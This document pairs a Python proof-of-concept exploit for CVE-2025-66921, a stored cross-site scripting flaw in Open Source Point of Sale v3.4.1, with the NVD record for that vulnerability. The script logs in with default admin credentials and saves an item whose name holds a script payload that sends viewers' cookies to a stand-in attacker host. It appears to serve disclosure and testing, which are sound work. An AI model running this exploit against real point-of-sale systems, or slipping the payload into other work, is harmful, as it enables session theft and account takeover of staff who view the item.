CVE-2025-66921

import requests import json # CVE-2025-66921 PoC - Stored XSS in Open Source Point of Sale # Target: Open Source Point of Sale v3.4.1 # Module: Create/Update Item Module # Parameter: name TARGET_URL = "http://target.com/opensourcepos" LOGIN_URL = f"{TARGET_URL}/index.php/login" ITEM_URL = f"{TARGET_URL}/index.php/items/save" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): """ Exploit for CVE-2025-66921 This PoC demonstrates how to inject XSS via the 'name' parameter """ session = requests.Session() # Step 1: Login with high privilege account (admin/manager) login_data = { 'username': 'admin', 'password': 'password' } session.post(LOGIN_URL, data=login_data) # Step 2: Create item with XSS payload in name parameter item_data = { 'name': XSS_PAYLOAD, 'category_id': '1', 'cost_price': '10.00', 'unit_price': '20.00', 'tax_percent': '0', 'quantity': '100' } response = session.post(ITEM_URL, data=item_data) if response.status_code == 200: print('[+] XSS payload injected successfully!') print('[+] Payload will execute when item is viewed by any user') return True else: print('[-] Exploitation failed') return False if __name__ == '__main__': exploit()

{"cve": {"id": "CVE-2025-66921", "sourceIdentifier": "[email protected]", "published": "2025-12-17T17:15:50.827", "lastModified": "2025-12-18T19:52:17.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-site scripting (XSS) vulnerability in Create/Update Item(s) Module in Open Source Point of Sale v3.4.1 allows remote attackers to inject arbitrary web script or HTML via the \"name\" parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensourcepos:open_source_point_of_sale:3.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "8EC6C4DB-C7B4-46A5-9479-851918C55014"}]}]}], "references": [{"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66921/readme.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66921/readme.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}